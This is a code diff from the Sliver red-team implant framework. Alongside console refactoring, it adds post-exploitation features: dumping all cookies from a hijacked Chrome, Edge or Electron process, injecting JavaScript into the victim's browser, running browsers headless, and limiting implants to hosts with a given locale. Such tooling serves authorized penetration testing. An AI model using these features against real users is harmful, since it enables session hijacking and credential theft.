Merge pull request #911 from BishopFox/a13cdependabot/go_modules/github.com/onsi/gomega-1.20.2

Bump github.com/onsi/gomega from 1.10.0 to 1.20.2
2026-11-08 01:38:17 -10:00 · 2022-09-26 12:56:39 -05:00 · 2022-09-26 15:24:55 +00:00 · 2022-09-26 10:22:36 -05:00 · 2022-09-26 10:20:38 -05:00 · 2022-09-26 10:20:18 -05:00
245 changed files with 11522 additions and 13770 deletions
@@ -109,7 +109,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex

 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	if con.Settings.SmallTermWidth < width {
+	wideTermWidth := con.Settings.SmallTermWidth < width
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -142,42 +143,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			color = console.Green
 		}

-		nextCheckin := time.Unix(beacon.NextCheckin, 0)
-		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
-
-		var next string
-		var interval string
-
-		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
-
-			} else {
-				interval = time.Since(nextCheckin).Round(time.Second).String()
-			}
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
-		} else {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
-			} else {
-				interval = time.Until(nextCheckin).Round(time.Second).String()
-			}
-
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
-		}
-
 		// We need a slice of strings so we can apply filters
 		var rowEntries []string

-		/*
-			Round the duration to the nearest second to be more output friendly.
-			We deal in seconds for everything, so it makes sense to show outputs
-			in seconds to remain consistent.
-		*/
-		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
-		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
-
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -188,8 +157,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
-				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
-				next,
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		} else {
 			rowEntries = []string{
@@ -198,8 +167,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
-				next,
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		}
 		// Build the row struct
@@ -23,7 +23,7 @@ package command

 	Guidelines when adding a command:

-		* Try to reuse the same short/long flags for the same paramenter,
+		* Try to reuse the same short/long flags for the same parameter,
 		  e.g. "timeout" flags should always be -t and --timeout when possible.
 		  Try to avoid creating flags that conflict with others even if you're
 		  not using the flag, e.g. avoid using -t even if your command doesn't
@@ -520,7 +520,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Reconfigure the active beacon/session",
 		LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("n", "name", "", "change implant name to")
 			f.String("r", "reconnect-interval", "", "reconnect interval for implant")
 			f.String("i", "beacon-interval", "", "beacon callback interval")
 			f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -903,6 +902,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Args: func(a *grumble.Args) {
 			a.String("session", "session ID", grumble.Default(""))
 		},
+		Completer: func(prefix string, args []string) []string {
+			return use.BeaconAndSessionIDCompleter(prefix, args, con)
+		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			info.InfoCmd(ctx, con)
@@ -1343,6 +1345,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")

 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1400,6 +1403,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")

 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1552,6 +1556,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")

 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")

@@ -1615,6 +1620,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")

 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")

@@ -3421,7 +3427,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -3438,14 +3444,19 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
 			f.Bool("R", "restore", true, "restore the user's session after process termination")
 			f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
 			f.String("u", "user-data", "", "user data directory (blank string = auto)")
 			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
+			f.Bool("H", "headless", false, "start browser process in headless mode")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
+		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			cursed.CursedChromeCmd(ctx, con)
@@ -3459,17 +3470,60 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
 			f.Bool("R", "restore", true, "restore the user's session after process termination")
 			f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
 			f.String("u", "user-data", "", "user data directory (blank string = auto)")
 			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
+			f.Bool("H", "headless", false, "start browser process in headless mode")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedEdgeCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedElectron,
+		Help:      "Curse a remote Electron application",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("e", "exe", "", "remote electron executable absolute path")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedElectronCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedCookies,
+		Help:      "Dump all cookies from cursed process",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("s", "save", "", "save to file")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			cursed.CursedEdgeCmd(ctx, con)
+			cursed.CursedCookiesCmd(ctx, con)
 			con.Println()
 			return nil
 		},
@@ -3492,23 +3546,5 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 	})
-	cursedCmd.AddCommand(&grumble.Command{
-		Name:      consts.CursedElectron,
-		Help:      "Curse a remote Electron application",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.String("e", "exe", "", "remote electron executable absolute path")
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			cursed.CursedElectronCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	})
 	con.App.AddCommand(cursedCmd)
 }
@@ -175,7 +175,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
 	con.Printf("success!\n")

 	con.PrintInfof("Starting %s process ... ", name)
-	debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
+	debugPort := getRemoteDebuggerPort(ctx)
 	args := []string{
 		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
 	}
@@ -185,6 +185,16 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
 	if ctx.Flags.Bool("restore") {
 		args = append(args, "--restore-last-session")
 	}
+	if ctx.Flags.Bool("keep-alive") {
+		args = append(args, "--keep-alive-for-test")
+	}
+	if ctx.Flags.Bool("headless") {
+		args = append(args, "--headless")
+	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}

 	// Execute the Chrome process with the extra flags
 	// TODO: PPID spoofing, etc.
@@ -52,7 +52,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
-	startCursedConsole(curse, target, con)
+	startCursedConsole(curse, true, target, con)
 }

 func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
@@ -89,7 +89,13 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
 	return &selectedTarget
 }

-func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
+var (
+	helperHooks = []string{
+		"console.log = (...a) => {return a;}", // console.log
+	}
+)
+
+func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
 	tmpFile, _ := ioutil.TempFile("", "cursed")
 	reader, err := readline.NewEx(&readline.Config{
 		Prompt:      "\033[31mcursed »\033[0m ",
@@ -104,6 +110,19 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
 		con.PrintErrorf("Failed to create read line: %s\n", err)
 		return
 	}
+
+	if helpers {
+		// Execute helper hooks
+		ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+		for _, hook := range helperHooks {
+			_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+		}
+	}
+
+	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
 	for {
 		line, err := reader.Readline()
 		if err == readline.ErrInterrupt {
@@ -116,8 +135,38 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
 			break
 		}
 		switch strings.TrimSpace(line) {
+
+		case ":help":
+			con.Println()
+			con.Println("Available commands:")
+			con.Println("  :file - Execute local .js file")
+			con.Println("  :help - Show this help")
+			con.Println("  :exit - Exit the console")
+			con.Println()
+
+		case ":file":
+			jsCode, err := ioutil.ReadFile(line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+
+		case ":exit":
+			fallthrough
 		case "exit":
 			return
+
 		default:
 			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
 			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
@@ -131,5 +180,4 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
 			}
 		}
 	}
-
 }
@@ -0,0 +1,69 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+)
+
+func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+
+	cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
+	if err != nil {
+		con.PrintErrorf("Failed to dump cookies: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
+	if len(cookies) == 0 {
+		return
+	}
+	saveFile := ctx.Flags.String("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
+	}
+	jsonCookies := []string{}
+	for _, cookie := range cookies {
+		jsonCookie, err := cookie.MarshalJSON()
+		if err != nil {
+			con.PrintErrorf("Failed to marshal cookie: %s\n", err)
+			continue
+		}
+		jsonCookies = append(jsonCookies, string(jsonCookie))
+	}
+	err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
+	if err != nil {
+		con.PrintErrorf("Failed to save cookies: %s\n", err)
+		return
+	}
+	con.PrintInfof("Saved to %s", saveFile)
+	con.Println()
+}
@@ -149,10 +149,14 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr

 func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
 	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
-	debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
+	debugPort := getRemoteDebuggerPort(ctx)
 	args := []string{
 		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
 	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}

 	// Execute the Chrome process with the extra flags
 	// TODO: PPID spoofing, etc.
@@ -21,6 +21,7 @@ package cursed
 import (
 	"bytes"
 	"fmt"
+	insecureRand "math/rand"
 	"strconv"
 	"strings"
 	"text/tabwriter"
@@ -35,6 +36,7 @@ import (

 // CursedChromeCmd - Execute a .NET assembly in-memory
 func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	// Collect existing curses from core
 	cursedProcesses := [][]string{}
 	core.CursedProcesses.Range(func(key, value interface{}) bool {
 		curse := value.(*core.CursedProcess)
@@ -48,6 +50,7 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		})
 		return true
 	})
+	// Display table if we have 1 or more curses
 	if 0 < len(cursedProcesses) {
 		tw := table.NewWriter()
 		tw.SetStyle(settings.GetTableStyle(con))
@@ -67,6 +70,7 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

+// selectCursedProcess - Interactively select a cursed process from a list
 func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
 	cursedProcesses := []*core.CursedProcess{}
 	core.CursedProcesses.Range(func(key, value interface{}) bool {
@@ -107,3 +111,11 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
 	selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
 	return port2process[selectedPortNumber]
 }
+
+func getRemoteDebuggerPort(ctx *grumble.Context) int {
+	port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
+	if port == 0 {
+		port = insecureRand.Intn(30000) + 10000
+	}
+	return port
+}
@@ -22,7 +22,6 @@ import (
 	"context"
 	"fmt"
 	"os"
-	"path"
 	"path/filepath"
 	"regexp"
 	"runtime"
@@ -173,7 +172,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
 					fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
 				}
 			}
-			dst = path.Join(dst, fileName)
+			dst = filepath.Join(dst, fileName)
 		}

 		// Add an extension to a directory download if one is not provided.
@@ -249,6 +249,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	limitUsername := ctx.Flags.String("limit-username")
 	limitDatetime := ctx.Flags.String("limit-datetime")
 	limitFileExists := ctx.Flags.String("limit-fileexists")
+	limitLocale := ctx.Flags.String("limit-locale")

 	isSharedLib := false
 	isService := false
@@ -337,6 +338,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		LimitUsername:     limitUsername,
 		LimitDatetime:     limitDatetime,
 		LimitFileExists:   limitFileExists,
+		LimitLocale:       limitLocale,

 		Format:      configFormat,
 		IsSharedLib: isSharedLib,
@@ -694,6 +696,9 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
 	if config.LimitFileExists != "" {
 		limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
 	}
+	if config.LimitLocale != "" {
+		limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
+	}
 	return strings.Join(limits, "; ")
 }

@@ -26,6 +26,7 @@ import (
 	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"

 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -70,6 +71,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 		"Beacons",
 		"IOCs",
 		"Extensions",
+		"First Contact",
 	})
 	for _, host := range hosts {
 		var shortID string
@@ -87,6 +89,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 			hostBeacons(host.HostUUID, con),
 			len(host.IOCs),
 			len(host.ExtensionData),
+			con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
 		})
 	}
 	return tw.Render()
@@ -22,6 +22,7 @@ import (
 	"context"
 	"time"

+	"github.com/bishopfox/sliver/client/command/use"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -33,10 +34,25 @@ import (

 // InfoCmd - Display information about the active session
 func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
+	var err error
+
+	// Check if we have an active target via 'use'
+	session, beacon := con.ActiveTarget.Get()
+
+	idArg := ctx.Args.String("session")
+	if idArg != "" {
+		// ID passed via argument takes priority
+		session, beacon, err = use.SessionOrBeaconByID(idArg, con)
+	} else {
+		if session == nil && beacon == nil {
+			session, beacon, err = use.SelectSessionOrBeacon(con)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+		}
 	}
+
 	if session != nil {

 		con.Printf(console.Bold+"        Session ID: %s%s\n", console.Normal, session.ID)
@@ -49,11 +65,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, session.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, session.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, session.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, session.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, session.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
 		con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))

 	} else if beacon != nil {

@@ -67,12 +86,16 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, beacon.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, beacon.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
 		con.Printf(console.Bold+"          Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
 		con.Printf(console.Bold+"            Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
+		con.Printf(console.Bold+"      Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))

 	} else {
 		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
@@ -130,8 +130,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR

 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
+	wideTermWidth := con.Settings.SmallTermWidth < width

-	if con.Settings.SmallTermWidth < width {
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -178,7 +179,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users

 		var rowEntries []string
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -188,7 +189,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 				fmt.Sprintf(color+"%s"+console.Normal, username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
-				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
+				con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
 				burned + SessionHealth,
 			}
 		} else {
@@ -525,6 +525,34 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
 	go spin.Until(con.App.Stdout(), message, ctrl)
 }

+// FormatDateDelta - Generate formatted date string of the time delta between then and now
+func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
+	nextTime := t.Format(time.UnixDate)
+
+	var interval string
+
+	if t.Before(time.Now()) {
+		if includeDate {
+			interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
+		} else {
+			interval = time.Since(t).Round(time.Second).String()
+		}
+		if color {
+			interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
+		}
+	} else {
+		if includeDate {
+			interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
+		} else {
+			interval = time.Until(t).Round(time.Second).String()
+		}
+		if color {
+			interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
+		}
+	}
+	return interval
+}
+
 //
 // -------------------------- [ Active Target ] --------------------------
 //
@@ -91,6 +91,9 @@ const (

 	// ExternalBuildEvent
 	ExternalBuildEvent = "external-build"
+
+	// WireGuardNewPeer - New Wireguard peer added
+	WireGuardNewPeer = "wireguard-newpeer"
 )

 // Commands
@@ -249,6 +252,7 @@ const (
 	CursedConsole  = "console"
 	CursedElectron = "electron"
 	CursedEdge     = "edge"
+	CursedCookies  = "cookies"
 )

 // Groups
@@ -3,14 +3,17 @@ package overlord
 /*
 	Sliver Implant Framework
 	Copyright (C) 2022  Bishop Fox
+
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
+
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
+
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -24,8 +27,11 @@ import (
 	"log"
 	"net/http"
 	"net/url"
+	"time"

 	"github.com/bishopfox/sliver/client/core"
+	"github.com/chromedp/cdproto/cdp"
+	"github.com/chromedp/cdproto/network"
 	"github.com/chromedp/cdproto/page"
 	"github.com/chromedp/cdproto/target"
 	"github.com/chromedp/chromedp"
@@ -158,7 +164,10 @@ func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]b
 	}
 	extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
 	var result []byte
-	err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
+	evalTasks := chromedp.Tasks{
+		chromedp.Evaluate(jsCode, &result),
